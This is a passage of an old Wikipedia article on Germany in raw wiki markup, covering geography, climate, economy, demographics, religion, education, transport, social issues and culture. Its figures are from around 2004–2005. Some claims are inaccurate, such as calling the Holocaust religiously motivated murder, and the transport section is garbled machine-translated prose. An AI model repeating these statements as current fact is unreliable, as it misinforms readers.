|'''8'''|| [[Mecklenburg-Western Pomerania]]||[[Schwerin]]||Mecklenburg-Vorpommern||Schwerin
|-
|'''9'''|| [[Lower Saxony]]||[[Hanover]]||Niedersachsen||Hannover
|-
|'''10'''|| [[North Rhine-Westphalia]]||[[Düsseldorf]]||Nordrhein-Westfalen||Düsseldorf
|-
|'''11'''|| [[Rhineland-Palatinate]]||[[Mainz]]||Rheinland-Pfalz||Mainz
|-
|'''12'''|| [[Saarland]]||[[Saarbrücken]]||Saarland||Saarbrücken
|-
|'''13'''|| [[Saxony|(Free State of) Saxony]]||[[Dresden]]||(Freistaat) Sachsen||Dresden
|-
|'''14'''|| [[Saxony-Anhalt]]||[[Magdeburg]]||Sachsen-Anhalt||Magdeburg
|-
|'''15'''|| [[Schleswig-Holstein]]||[[Kiel]]||Schleswig-Holstein||Kiel
|-
|'''16'''|| [[Thuringia|(Free State of) Thuringia]]||[[Erfurt]]||(Freistaat) Thüringen||Erfurt
|}
&lt;BR&gt;

===Territory===
[[Image:Loreley von Spitznack.jpg|thumb|300px|[[River Rhine]] valley]]
Since [[German reunification|reunification]] Germany has resumed its role as a major centre between [[Scandinavia]] in the north and the [[Mediterranean Sea|Mediterranean]] region in the south, as well as between the [[Atlantic Ocean|Atlantic]] west and the countries of [[Central Europe|central]] and [[Eastern Europe|eastern]] Europe.

The territory of Germany stretches from the high mountains of the [[Alps]] (highest point: the [[Zugspitze]] at 2,962&amp;nbsp;m&amp;nbsp;/&amp;nbsp;9,718&amp;nbsp;[[foot (unit of length|ft]]) in the south to the shores of the [[North Sea]] (Nordsee) in the north-west and the [[Baltic Sea]] (Ostsee) in the north-east. In between are found the forested uplands of central Germany and the low-lying lands of northern Germany (lowest point: [[Neuendorfer]]/[[Wilstermarsch]] at 3.54 metres (11.6&amp;nbsp;ft) below sea level), traversed by some of Europe's major [[river]]s such as the [[Rhine]], [[Danube]] and [[Elbe]].

Due to its central location, Germany shares borders with more European countries than any other country. Its neighbours are [[Denmark]] in the north, [[Poland]] and the [[Czech Republic]] in the east, [[Austria]] and [[Switzerland]] in the south, [[France]] and [[Luxembourg]] in the south-west and [[Belgium]] and the [[Netherlands]] in the north-west.

===Climate===
The greater part of Germany lies in the cool/temperate climatic zone in which humid westerly winds predominate.

The climate is affected among other things by the gulf stream, which arranges the climatic values unusually mild.

In the ''north-west'' and the ''north'' the climate is oceanic and rain falls all the year round. Winters there are relatively mild and summers tend to be comparatively cool, even though temperatures can reach above 28 degrees [[Celsius]] (82°[[Fahrenheit|F]]) for prolonged periods of time. 
''Average temperatures: [[Hamburg]]: January 0.3°C (33°[[Fahrenheit|F]]) / July&amp;nbsp;17.1°C (63°[[Fahrenheit|F]]); [[Essen]]: January&amp;nbsp;1.5°C (35°[[Fahrenheit|F]]) / July&amp;nbsp;17.5°C (64°[[Fahrenheit|F]])''

In the ''east'' the climate shows clear continental features; winters can be very cold for long periods, and summers can become very warm. Here, too, long dry periods are often recorded. ''Average temperatures: [[Berlin]]: January -0.9°C (30°F) / July&amp;nbsp;18.6°C (65°F)''

In the ''central part'' and the ''south'' there is a transitional climate which varies from moderately oceanic to continental, depending on the location. Hot summers with temperatures about 30 degrees (86°F) are possible.
''Average temperatures: [[Munich]]: January -2.2°C (28°F) / July&amp;nbsp;17.6°C (64°F); [[Freiburg]]: January&amp;nbsp;1.2°C (34°F) / July&amp;nbsp;19.4°C (67°F)''

==Economy==
[[Image:Panorama Frankfurt vom Maintower.jpg|800px|panorama over Frankfurt (Hessen) the banking city of Germany]]

[[Image:50ec ger.png|thumb|right|150px|A [[euro coins|50 euro cent coin]] 
featuring the [[Brandenburg Gate]], symbol of division and reunification]]
{{main|Economy of Germany}}
Germany is the largest [[European]] economy and the third largest economy in the world in real terms, placed behind the [[United States]], and [[Japan]]. According to the [[World Trade Organization]], Germany is also the world's top exporter, ahead of the United States and [[China]]. Its major trading partners include [[France]], the United States, the [[United Kingdom]], [[Italy]] and the [[Netherlands]]. Germany is the largest trading partner of most European countries. A major issue of concern remains the persistently high [[unemployment]] rate and weak domestic demand which slows down economic growth. However, according to Bert Rürup, head of Germany's Council of Economic Advisers, [[German Reunification|reunification]] is to blame for two-thirds of Germany's growth lag compared to its [[European Union|EU]] neighbours. In particular, eastern Germany lacks a solid base of small and medium-sized companies, which provided the foundation for [[West Germany]]'s economic prosperity. Domestic demand has stagnated for many years due to wage stagnation and zealous cost-cutting of the federal state. The missing demand has caused many of the prevalent economic problems, such as rising unemployment, high social security costs, and, ironically, high state debt as tax revenues plummeted and social security cost rose. The complex tax system ([[Taxation in Germany]]) allowes companies to drastically reduce the amount of profit that is subject to corporate taxes, so that in 2001 the German state in sum had to pay the companies 0.4 billion € in the combined corporate taxes instead of receiving anything. While problematic in the domestic economy, this tax feature boosts exports.

===Exports===
[[Image:Frankfurt-Skyline-NilsJeppe.jpg|thumb|300px|[[Frankfurt am Main]] is Germany's financial centre]]
As mentioned above the exporting of goods is an essential part of the German [[economic system|economy]] and one of the most relevant reasons for Germany's wealth. Like many other [[export]] oriented countries, Germany itself does not have the climate or the [[natural resources]] necessary to support a [[standard of living|high living standard]]. These shortages have long made [[international trade]] completely indispensable to the German economy. Considering these economical forces it should not come as a surprise that Germany is the world's largest exporting country, with exports for 2005 totaling $1.016 trillion.

Germany's main exports:
* [[Machinery]]
* [[Car|Vehicles]]
* [[Chemicals]]
* [[Metals]] and [[Manufacturing|Manufactures]]
* [[Food industry|Foodstuffs]]
* [[Consumer electronics]]
* [[Textiles]]
* [[Electricity]]

===Imports===
As a nation that relies heavily on [[international trade]], Germany also imports a wide variety of [[Good (economics)|goods]]. Germany is the world's second largest importer of goods with a total of $801 billion in imports. 

Germany's main [[imports]] are:
* [[Machinery]]
* [[Vehicles]]
* [[Chemicals]]
* [[Foodstuffs]]
* [[Textiles]]
* [[Metal|Metals]]
''[http://www.odci.gov/cia/publications/factbook/index.html CIA Factbook 2005]''

===Agriculture===
For many years now agriculture in Germany has been in a state of decline. Poor earnings and lack of profitability are counted as the main reasons for the failure of many medium and small [[farming|farms]]. The main crops grown are [[potato]]es, [[wheat]], [[barley]], [[sugar beet]] and [[cabbage]]. Germany ranks among the world's largest producers of [[milk]], dairy products and [[meat]]. Agricultural support is managed under the [[EU]] [[Common Agricultural Policy]].

===Industrial sector===
&lt;!-- Image with unknown copyright status removed: [[Image:MB_S-Class_2.jpg|thumb|left|250px|German cars are famous all over the world]] --&gt;
As in most other large economic nations, Germany's industrial sector has declined in favour of the service sector. Germany is among the world's largest and most technologically advanced producers of [[iron]], [[steel]], [[cement]], [[chemicals]], [[machinery]], [[motor vehicles]], [[machine tool]]s and [[electronics]], as well as a world leader in the [[shipbuilding]] industry. Major car manufacturers like [[BMW]], [[DaimlerChrysler]] ([[Mercedes-Benz|Mercedes]]),  [[Opel]] (owned by [[General Motors|GM]]), [[Porsche]] &lt;!-- before somebody asks - Porsche is independent --&gt; and [[Volkswagen Group|Volkswagen AG]] (including [[Audi]], and more non-German brands), and it is also home to huge multinational corporations like [[BASF]], [[Robert Bosch GmbH|Bosch]], and [[Siemens AG]], which consistently rank among the world's largest firms.

===Service sector===
The [[service sector]] has grown steadily in recent years and now contributes the largest share of GDP. This sector includes [[tourism]]. As of 2004, the largest numbers of foreign visitors to Germany came from the Netherlands, followed by the United States and the United Kingdom ([http://www.destatis.de/basis/e/tour/tourtab4.htm]). Germany also has a large (and possibly underrated) presence in the banking world, lead by [[Deutsche Bank]] and [[Allianz]].

===Natural resources===
Germany is lacking in natural raw materials, if one disregards the hard [[coal]] deposits in the [[Ruhr Area|Ruhr area]], in the [[Aachen]] district and in the [[Saarland]], where mining is profitable only thanks to state subsidies. Brown coal from mines in the [[Leipzig]]er Bucht and the Niederlausitz is still the major energy source in the eastern [[States of Germany|states]], while [[petroleum]] enjoys this position in the western &quot;''Länder''&quot;. The previous [[Red-Green Alliance|red-Green]] (1998-2005) coalition government was pursuing a long-term strategy of phasing out [[nuclear energy|nuclear power]] in favour of [[renewable energy|renewable]] sources of energy. The current coalition has not yet agreed on its nuclear policy.

==Society==
===Demographics===
{{main|Demographics of Germany}}

[[Image:KreuzbergStreet.jpg|300px|thumb|right|The borough of [[Kreuzberg]] in [[Berlin]] is sometimes called the &quot;second largest Turkish city in Europe, after [[Istanbul]]&quot;]]
Due to the country's federal and decentralized structure Germany has a number of larger cities. The most populous cities of Germany are [[Berlin]], [[Hamburg]], [[Munich]], [[Cologne]], [[Frankfurt]] and [[Dortmund]]. By far the largest conurbation is the [[Rhine-Ruhr]] region, including the Düsseldorf-Cologne district and the cities of [[Dortmund]], [[Duisburg]] and [[Bochum]]. The federal structure has kept the population oriented towards a number of large cities, and has precluded the growth of any single city that would rival such European capitals as [[London]], [[Paris]] or [[Moscow]] for size.

As of 2004, about 7.5 million foreign citizen residents were living in Germany. By far the largest number came from [[Turkey]], followed by [[Italy]], [[Greece]], [[Croatia]], the [[Netherlands]], [[Albania]], [[Kosovo]], [[Serbia and Montenegro]], [[Spain]], [[Bosnia and Herzegovina]], [[Austria]], [[Portugal]], [[Vietnam]], [[Morocco]], [[Poland]], [[Republic of Macedonia|Macedonia]], [[Lebanon]] and [[France]]. [http://www.destatis.de/basis/e/bevoe/bevoetab10.htm] Thanks to reform of [[German nationality law]], many of these immigrants are eligible for [[naturalisation]] ([http://www.destatis.de/basis/e/bevoe/bevoetab8.htm]).
9% of the population is not ethnically German.

Germany is still a primary destination for political and economic [[refugee]]s from many [[developing country|less industrialized countries]], especially [[Turkey]] and [[southern Europe|southern]]/[[southeastern Europe|southeastern]] [[Europe]], but the number of annual asylum seekers has been declining in recent years, reaching about 50,000+ in 2003.

An [[Danish people|ethnic Danish]] minority of about 50,000 people lives in [[Schleswig]], most of them close to the Danish border, in the north; a small number of [[Slavs|Slavic]] people known as the [[Sorbs]] lives in the states of [[Saxony]] (about 40,000) and [[Brandenburg]] (about 20,000). The [[Frisian language]] is [[mother tongue]] to about 12,000 speakers in Germany. In rural areas of Northern Germany, [[Low German]] is widely spoken. The [[North-Rhine Westphalia]]n border is a transitional area between German and [[Dutch language|Dutch]].

There are also a large number of [[ethnic German]] immigrants from the former [[Soviet Union]] area (1.7 million), [[Poland]] (0.7 million) and [[Romania]] (0.3 million) (1980&amp;ndash;1999 totals), who are automatically granted German citizenship, and thus do not show up in foreign resident statistics; unlike non-ethnic German immigrants, they have been settled by the government almost evenly spread throughout Germany.

===Religion===
[[Image:Luther46c.jpg|thumb|right|200px|[[Martin Luther]], Father of the Protestant [[Reformation]] and reformer of the German language, 1529]]
[[Image:Berliner Dom.jpg|thumb||250px|[[Berliner Dom]]]]
{{main|Religion in Germany}}

Germany is the home of the [[Protestant Reformation|Reformation]] launched by [[Martin Luther]] in the early 16th century. Today, [[Protestantism|Protestants]] (particularly in the north and east) comprise about 33% of the population and [[Catholicism|Catholics]] (particularly in the south and west) also 33%. In total more than 55 million people officially belong to a [[Christian]] denomination. The third largest religious identity in Germany is that of non-religious people (including [[atheism|atheists]] and [[agnosticism|agnostics]]), who amount to a total of 28.5% of the population (23.5 million).

Most German Protestants are members of the [[Evangelical Church in Germany]]. [[Free church]]es (as [[Baptists]], [[Methodism|Methodists]] and other independent Protestants are usually called in Germany) exist in all larger towns and many smaller ones, but most such churches are small. The current pontiff of the Roman Catholic Church, [[Pope Benedict XVI]], is German.

Besides this there are several hundred thousand [[Orthodox Church|Orthodox Christians]] (mostly [[Greece|Greeks]] and [[Serbia|Serbs]]), 400,000 [[New Apostolic Church|New Apostolic Christians]], more than 150,000 [[Jehovah's Witnesses]], and numerous other small groups. The highest numbers of members of these denominations in Germany has the [[Greek Orthodox Church]], the [[Serb Orthodox Church]] coming fourth.

[[Islam in Germany|Approximately 3.2 million Muslims]][http://www.deccanherald.com/deccanherald/aug212005/foreign1834142005820.asp] (Predominantly from [[Turkey]] and the former [[Yugoslavia]]) live in Germany.

Today's Germany has Western Europe's third-largest [[Jew|Jewish]] population. In 2004, twice as many Jews from former [[Soviet Union|Soviet]] republics settled in Germany as in [[Israel]], bringing the total influx to more than 200,000 since 1991. About half joined a settled Jewish community, of which there are now more than 100, with a total of 100,000 members&amp;mdash;up from 30,000 before reunification. Some German cities have seen a revival of Jewish culture, particularly in [[Berlin]], where there are also 3,000 Israelis. Jews have a voice in German public life through the [[Zentralrat der Juden in Deutschland]]. Other cities with significant Jewish populations are Frankfurt and Munich.

{{seealso|History of the Jews in Germany}}

In the territory of the former German Democratic Republic, there is much less religious feeling than in the West. Only 5% attend a mass at least once per week, compared with 14% in the West according to a recent [http://www.umich.edu/~newsinfo/Releases/1997/Dec97/r121097a.html study]. About 30% of the total population are officially religiously unaffiliated. In the East this number is considerably higher.

Church and state are separate, but there is cooperation in many fields, most importantly in the social sector. Churches and religious communities, if they are large, stable and loyal to the constitution, can get special status from the state as a ''corporate body under public law'' which allows the churches to levy taxes called ''Kirchensteuer'' ([[church tax]]) on their members on the basis of laws of the Länder, and to apply laws of public service to their ministers. In most cases, the revenue is collected by the state in return for a collection fee, while some smaller-sized religious bodies chose to administer the collection of the taxes themselves (such as the Jewish Community of [[Berlin]]). See [[Status of religious freedom in Germany]] and [[Separation of church and state#Germany|Separation of church and state in Germany]].

Over six million Jews were killed in Germany or neighbouring countries during the period of 1940 to 1945. This action, known as the [[Holocaust]], is the largest example of murder based on religious motivation in the history of Europe. The term [[genocide]] was created to describe the behavior of the German government during the Holocaust. The [[Convention on the Prevention and Punishment of the Crime of Genocide]] was adopted by the [[UN General Assembly]] to prevent future crimes against humanity of this nature.

Also of note is that Germany hosts one of only seven [[Bahá'í Faith|Bahá'í]] [[Bahá'í House of Worship|Houses of Worship]] in the world. Completed in 1964, it is located at the foot of the Taunus Mountains in the village of Langenhain, approximately 25 kilometers (15.5&amp;nbsp;[[mile|mi]])west of [[Frankfurt]].

===Education===
{{main|Education in Germany}}
[[Image:klasse.jpg|300px|thumb|Classroom at a secondary school in Germany in 1998]]
Germany has one of the world's highest levels of education and many famous universities. The most important foreign languages taught at school are [[English language|English]], [[French language|French]], [[Latin]], [[Italian language|Italian]] and [[Greek language|Ancient Greek]]. [[Russian language|Russian]], [[Turkish language|Turkish]], [[Spanish language|Spanish]], [[Chinese language|Chinese]], [[Japanese language|Japanese]] and [[Arabic language|Arabic]] are not taught everywhere. Since the end of [[World War II]], the number of youths entering [[university|universities]] has more than tripled, but university attendance still lags behind many other European nations. In the annual league of top-ranking universities compiled by [[Shanghai Jiaotong University]] in 2004, Germany came 4th overall, but with only 7 universities in the top 100 (to compare, the [[United States]] had 51). The highest ranking university, at #45, was the [[Technical University of Munich|TU Munich]]. Most German universities are state-owned and free of charge. Additionally university students are often supported by the so called BAFÖG, a federal subsidy, running as high as €290 as interest free credit plus €290 as direct payment.

German educational ideals differ considerably from anglo-saxon educational ideals, emphasizing socialisation, debate, vocal participation in class and critical faculties. Consequently the results of the [[PISA (student assessment)|PISA student assessments]], that revealed comprehension of the respective subject matters only, were a shock to the German public but no surprise to many educational experts. The comparatively low scores brought on heated debate about how the school system should be changed. Furthermore it was revealed that more than in other countries students with higher-earning parents are better-educated and tend to achieve higher results. There is also some diversity between the schools of the various states that determine their respective school system independently. Failing integration of foreigners also proved to be a big educational obstacle, as in many urban schools teachers are more occupied teaching their numerous foreign students basic German instead of algebra or physics.

In addition to academic education, Germany also has an elaborate system of [[vocational education]], called the ''dual system'', which combines apprenticeship in enterprises with theoretical teaching in vocational schools.

Germany prohibits home-schooling; however, this is still practiced by a number of people. There has been some publicity to government prosecution of this practice.

The German school system consists of an elementary school (Grundschule) where pupils go for 4 years (1st-4th grade, in some German states to the 6th grade) after that, in some states, they go to a secondary school where they learn English, French or Latin as their first foreign language (erste Fremdsprache). In the 5th grade (the 7th in states with secondary schools) they have to decide wether they will go to a [[Hauptschule]] (5th or 7th-9th grade), where they only have English as a foreign language and have less chance to get a job, or a [[Realschule]] (7th-10th grade), where they can learn both English and French but also have less chance to get a job, or a [[Gymnasium (school)|Gymnasium]] (5th or 7th-12th or 5th or 7th-13th grade), where they learn English and French or Latin. In some schools (''Humanistisches Gymnasium'') they may learn [[(Ancient) Greek]] beginning in the 9th grade. In the 11th grade in a Gymnasium, they may learn Spanish, (Ancient) Greek or Russian (not at every school available). In some states one can learn Chinese, Arabic and Japanese beginning from the 11th grade (e.g. [[Bremen (state)|Bremen]]). In Germany it is easier to get a job when you have an [[Abitur]], which you get when you have successfully taken the exams at the end of the 12th or 13th grade (the final years at the Gymnasium).
Most German states have the [[Gesamtschule]] (comprehensive school), too. It offers diplomas after the 10th grade (Hauptschulabschluß, Mittlere Reife) and after the 13th grade ([[Abitur]]).
The school system depends on the state, as a result of German federalism there are huges differences between the states. 

Contrary to the first impression, the Abitur does not correspond with the US highschool diploma but with the Associate Degree in college. Germans finish their equivalent of the highschool diploma in their 10th grade exams leading to the degree of Mittlere Reife. In the Oberstufe (literally upper level) of Gymnasium they achieve the Allgemeine Hochschulreife (the ability to directly jump into university courses - usually what is achieved in U.S. colleges). This decision of the German states seriously impairs international comparisons of university attendance, as what is usually done in college elsewhere is done in German schools. Considering the high drop-out rates of pre-bachelor courses in the U.S., the low attendance of Germans in university might altogether be a statistical myth.

German companies expect German universities to complete the education of the students. Training-on-the-job and the like are either uncommon or simply introductory, as companies demand readymade employees from the educational system. This is the reason why only globalization and european unification produced the need for intermediate degrees, such as the Bachelor Degree, that is being introduced into the German system from 2005 onward. Again, the German Bachelor Degree differs from international standards as it is a rather hard degree trying to reconcile the economy's demand for readymade employees with a shorttime degree which tends to package the bulk of the original 4,5 year Magister Degree's subject matter into a 3 year course.

==Transportation== 
{{main|Transport in Germany}}
[[Image:Autobahn 1-999.png|thumb|250px|Map of the German autobahn network]]

Due to its central situation in Europe a very high traffic volume exists in Germany. In particular for the goods traffic it represents an important transit country. This constantly shifted in the past decades from the rail on the road, so that the Federal Government introduced 2005 a freeway toll for trucks. In addition, the individual traffic increased in an extent that on German roads a traffic volume very high in the international comparison prevails. This development went in particular debited to the rail traffic: Due to profitability lacking above all highways as well as goods and marshalling yards quietly put as well as long-distance passenger traffic connections were adjusted. Also for the future a strong increase of traffic is expected, therefore the federal traffic route plan sees 2003 in the period 2001-2015 an investment volume of altogether approx.. 150 billion euro forwards, in order to master the expected increase in the motorized passenger traffic (1997-2015) around 20% and in the goods traffic (1997-2005) around 64%.

[[Image:DeutscheBahn_gobeirne.jpg|thumb|250px|[[InterCity Express]] train (generation III), [[Stuttgart]].]]
The traffic in Germany has a long tradition, not only owing to the automobile industry, but also, because the first [[Autobahn]] of the world was built in Germany, the [[AVUS]]. Germany possesses one of the densest road systems of the world. It covers 12,037 [[kilometre]]s (7,479&amp;nbsp;[[mile|mi]]) Autobahns and 41,386 kilometres (25,716&amp;nbsp;mi) federal highways. In contrast to other
European countries, German Autobahns have no blanket [[speed limit]]. However, signposted limits are in place on many dangerous or congested stretches, and where traffic noise or pollution poses a nuisance; some of these limits apply only at night or only in wet conditions.
A vehicle is not permitted to use the Autobahn unless it can attain a speed of at least 60 km/h (37&amp;nbsp;mph).

An other way to travel is via rail [[Deutsche Bahn]]. Deutsche Bahn (DB) is the major German railway company.
There are significant differences between the financing of long-distance and short-distance (or local) trains in Germany. The [[InterCity Express]] or ICE is a type of high-speed train operated by DB in Germany and neighboring countries, for example to Zürich, Switzerland or Vienna, Austria. ICE-trains also run at lower speeds to Amsterdam, Netherlands and to Liège and Brussels, Belgium on the Belgian highspeed way.

==Social issues==
{{main|Social issues in Germany}}

The German social market economy ([[German language|German]]: ''soziale Marktwirtschaft'')  helped bring about the &quot;economic miracle&quot; (the German &quot;''[[Wirtschaftswunder]]''&quot;) that rebuilt Germany from ashes after World War II to one of the most impressive economies in Europe. Still today, [[Ludwig Erhard]], minister of economics in the [[Konrad_Adenauer|Adenauer]] administration ([[1949]]-[[1963]]) and later federal chancellor ([[1963]]-[[1966]]), is widely recognized as having been the &quot;father&quot; of this profound rise in the country's economic  and social wealth.

Germany continues to struggle with a number of social issues although problems created by the [[German Reunification]] of 1990 have begun to diminish. The standard of living is higher in the western half of the country, but easterners now share a reasonably high standard of living. Germans continue to be concerned about a relatively high level of unemployment. Germany has passed several reforms to curb unemployment. Some of these reforms will require people in the labour force to work harder and more efficiently.

For centuries, a woman's role in German society was summed up by the three words: Kinder (children), Kirche (church), and Küche (kitchen). Throughout the twentieth century, however, women have gradually won victories in their quest for equal rights. Despite significant gains, discrimination remains in united Germany. Women are noticeably absent in the top tiers of German business. They only hold 9.2 % of jobs in Germany's upper and middle management positions, according to 2002 figures from the Hoppenstedt business databank. Since 2001 women are in active duty in the Bundeswehr.

Since World War II, Germany has experienced intermittent turmoil from various extremist groups. In the 1970s the terrorist [[Red Army Faction]] engaged in a string of assassinations and kidnappings against political and business figures and there has been a recent surge in right-wing extremist crimes. According to former Interior Minister [[Otto Schily]], the number of these crimes rose 8.4% to 12,553 cases in 2004, which the minister attributed to such crimes as the display of illegal [[Nazism|Nazi]] symbols being reported more frequently. The majority of these cases are not violent crimes, although these do exist as well.

Germany is also burdened with an extremely low fertility/birthrate. Obviously, this has and will continue to cause many economic and social problems. For instance, the low birthrate has caused a shortage of young workers to replace the aging ones. This is  expected to cause trouble in Germany's generous social welfare system, due less taxpayers and more elderly who will receive benefits. There is much debate as to what should be done to curb this trend. More daycare centers, paying cash to mothers for babies that are born, and incentives for men or women to stay home with the children have all been offered as solutions to this problem. So far none have been fully implemented.

Germany has failed to implement EU laws prohibiting racial discrimination. The European Court of Justice ruled on [[29 April]] [[2005]], that Germany had breached EU law by failing to transpose fully the 'Racial Equality Directive' prohibiting discrimination on the grounds of race or ethnic origin (Directive 2000/43/EC). The deadline for EU Member States to transpose this Directive was [[19 July]] [[2003]] – except for the 10 new Member States, who had to ensure that their legislation complied with the Directives by their accession to the EU on [[1 May]] [[2004]]. Immigrants to Germany may generally face integration issues and other difficulties. In addition to the challenges of adapting to a new language and culture, they may be subject to security-related police inquiries and violence from right-wing extremist groups. The government has attempted to improve immigrant integration by mandating courses on language, culture, politics, and society for some immigrants. 

Some German states have banned Muslim teachers from wearing [[headscarf|headscarves]] in class and all states have banned crosses from the classroom as well, generally by prohibiting the use of all [[religious symbol]]s by teachers. This is legitimate by combining the German states' privilege of educational laws with the principle of separation of church and state, both provided for in the German federal constitution: According to this legal view, teachers in their vocational function within a state administered educational system are obliged to maintain and publicly exhibit religious neutrality when on duty. As this status of employment does not hold for pupils, whose constitutional right to religious freedom thus remains unencumbered by these provisions, this ban cannot legally be extended to them as it is in [[France]]. The question of headscarves and crosses in schools has been heavily discussed politically throughout Germany in recent years, but could only be solved by a decision of the Bundesverfassungsgericht (Federal Constitutional Court) in 2003.

===Culture===
[[Image:Goethecut.png|thumb|right|240px|[[Johann Wolfgang von Goethe]] is regarded as a major German poet]]
{{main|Culture of Germany}}

Germany's contributions to the world's cultural heritage are numerous, and the country is often known as ''das Land der Dichter und Denker'' (the land of poets and thinkers). German '''literature''' can be traced back to the Middle Ages, in particular to such authors as [[Walther von der Vogelweide]] and [[Wolfram von Eschenbach]], considered some of the most important poets of medieval Europe. The [[Nibelungenlied]], whose author is not known, is also a major contribution to German literature. Theologian [[Martin Luther|Luther]], who translated the Bible into German, is widely credited for having set the basis for modern &quot;High German&quot; language. The mostly admired German poets and authors are without doubt [[Johann Wolfgang von Goethe|Goethe]], [[E.T.A. Hoffmann|Hoffmann]], [[Gottfried Keller|Keller]] and [[Friedrich Schiller|Schiller]]. Other poets include [[Heinrich Heine]], [[Rainer Maria Rilke]] and authors of the 20th century include [[Nobel prize]] winners [[Thomas Mann]], [[Hermann Hesse]], [[Heinrich Böll]], and [[Günter Grass]]. Other authors include [[Bertolt Brecht|Brecht]] and [[Hans Magnus Enzensberger|Enzensberger]]. Germany's influence on world '''philosophy''' was significant as well, as exemplified by [[Gottfried Leibniz|Leibniz]], [[Immanuel Kant|Kant]], [[Georg Wilhelm Friedrich Hegel|Hegel]], [[Karl Marx|Marx]], [[Friedrich Engels|Engels]], [[Feuerbach]], [[Arthur Schopenhauer|Schopenhauer]], [[Friedrich Nietzsche|Nietzsche]], [[Edmund Husserl|Husserl]], [[Eduard von Hartmann|Hartmann]], [[Karl Jaspers|Jaspers]], [[Martin Heidegger|Heidegger]], [[Hans-Georg Gadamer|Gadamer]] and [[Jürgen Habermas|Habermas]].
In the field of '''sociology''' influential German thinkers were [[Georg Simmel|Simmel]], [[Max Weber|Weber]], [[Ferdinand Tönnies|Tönnies]], [[Theodor Adorno|Adorno]] and [[Niklas Luhmann|Luhmann]].

In the field of '''music''', Germany's influence is noted through the works of, among others,
[[Johann Sebastian Bach|Bach]],[[Wolfgang Amadeus Mozart|Mozart]], [[Georg Friedrich Händel|Händel]], [[Telemann]], [[Heinrich Schütz|Schütz]], [[Ludwig van Beethoven|Beethoven]],  [[Felix Mendelssohn Bartholdy|Mendelssohn Bartholdy]], [[Johannes Brahms|Brahms]], [[Robert Schumann|Schumann]], [[Schubert]], [[Franz Liszt|Liszt]], [[Richard Wagner|Wagner]], [[Max Reger|Reger]], [[Richard Strauss|Strauss]], [[Anton Webern|Webern]], [[Carl Orff|Orff]], [[Hans Werner Henze|Henze]] and [[Helmut Lachenmann|Lachenmann]].

In '''Art''', there are several fine German painters such as the [[Renaissance]] artist [[Albrecht Dürer|Dürer]], the romanticist [[Caspar David Friedrich|Friedrich]], the [[Surrealism|surrealist]] [[Max Ernst|Ernst]], the [[Expressionism|expressionists]] [[Franz Marc|Marc]] and [[George Grosz|Grosz]], the [[Conceptualism|conceptual]] artist [[Joseph Beuys|Beuys]] or the neo expressionist [[Georg Baselitz|Baselitz]]. Architecture also flourished in Germany. Several [[UNESCO]] [[World Heritage Site]]s are scattered throughout Germany (including, for instance, the cathedral of [[Cologne]] and the [[Museum Island]] in [[Berlin]]). Famous architects include [[neoclassicism|neoclassicist]] [[Karl Friedrich Schinkel|Schinkel]] and [[Walter Gropius|Gropius]], the founder of the [[Bauhaus]]. A significant part of the architectural heritage of Germany, however, has been irrevocably destroyed by air raids on city centers during World War II. 

Germany was also the homeland of '''scientists''' like [[Hermann von Helmholtz|Helmholtz]], [[Joseph von Fraunhofer|Fraunhofer]], [[Gabriel Daniel Fahrenheit|Fahrenheit]], [[Johannes Kepler|Kepler]], [[Ernst Haeckel|Haeckel]], [[Wilhelm Wundt|Wundt]], [[Rudolf Virchow|Virchow]], [[Paul Ehrlich|Ehrlich]], [[Alexander von Humboldt|Humboldt]], [[Wilhelm Conrad Röntgen|Röntgen]], [[Karl Ferdinand Braun|Braun]], [[Albert Einstein|Einstein]], [[Max Born|Born]], [[Max Planck|Planck]], [[Werner Heisenberg|Heisenberg]], [[Hans Gerhard Creutzfeldt|Creuzfeldt]], [[Heinrich Rudolf Hertz|Hertz]], [[Robert Koch|Koch]], [[Otto Hahn|Hahn]], [[Gottfried Leibniz|Leibniz]], [[Justus von Liebig|Liebig]], [[Ernst Mayr|Mayr]] and [[Robert Bunsen|Bunsen]]; and inventors and engineers such as [[Johann Gutenberg|Gutenberg]], [[Nikolaus August Otto|Otto]], [[Robert Bosch|Bosch]], [[Werner von Siemens|Siemens]], [[Wernher von Braun|von Braun]], [[Gottlieb Daimler|Daimler]], [[Carl Benz|Benz]] and [[Rudolf Diesel|Diesel]].

Important '''mathematicians''' were born in Germany such as [[Adam Ries|Ries]], [[Richard Dedekind|Dedekind]], [[Friedrich Bessel|Bessel]], [[Carl Friedrich Gauss|Gauß]], [[David Hilbert|Hilbert]], [[Carl Gustav Jakob Jacobi|Jacobi]], [[Bernhard Riemann|Riemann]], [[Felix Klein|Klein]] and [[Karl Weierstrass|Weierstraß]].

Many historical figures, though not citizens of Germany in the modern sense, were important and influential figures in German culture, such as [[Wolfgang Amadeus Mozart]], [[Franz Kafka]], [[Stefan Zweig]] and [[Nicolaus Copernicus]].

The '''[[German language]]''' was once the [[lingua franca]] of central, eastern and northern Europe. Within the [[European Union]], German is the language with the most native speakers, with more than English, French, Spanish and Italian. As a foreign language, German is the third most taught worldwide.[http://www.auswaertiges-amt.de/www/en/aussenpolitik/kulturpolitik/sprache/deutsch_html] It is also the second most used language on the [[Internet]]. The language has its origin in [[Old High German]]. There are numerous [[dialect]]s of German, many of which are not intelligible to speakers of standard German. Some consider [[Low German]] to be a different language from German; Low German has been given the status of a minority language by the [[European Union]], although it is less used today in the traditionally Low German-speaking areas of northern Germany.

Since about 1970 Germany has once again had a thriving popular culture, now increasingly being led by its new old capital [[Berlin]], and a self-confident music and art culture. Germany is also well known for its many opera houses, the most famous of which being located in [[Bayreuth]].

==Miscellaneous topics==
{{sisterlinks|Germany}}
{{portal}}
* [[Communications in Germany]]
* [[German federal election, 2005]]
* [[German model]]
* [[Historical Eastern Germany]]
* [[List of English exonyms for German toponyms]]
* [[List of Germans|List of famous Germans]]
* [[List of German districts]]
* [[List of German towns]]
* [[List of Germans]] - [[German people]]
* [[List of political parties in Germany]]
* [[List of universities in Germany]]
* [[Nuclear power phase-out]]
* [[Scouting in Germany]]
* [[Taxation in Germany]]
* [[Tourism in Germany]]
* [[Transportation in Germany]]

==External links==
{{cookbook}}

&lt;!-- Wikipedia is not a link list nor a Web directory. If your link points to a site that does not cover many subjects about Germany, it's most likely in the wrong place here and you should go and search for a more specific article. --&gt;
* [http://www.deutschland.de/home.php?lang=2 Deutschland.de] &amp;mdash; Official German portal
* [http://www.germany.info/  German Embassy News Portal for the U.S.]
* [http://www.facts-about-germany.de Facts about Germany] &amp;mdash; by the German Federal Foreign Office
* [http://www.panorama-cities.net CityPanoramas] &amp;mdash; Panoramic views of German cities
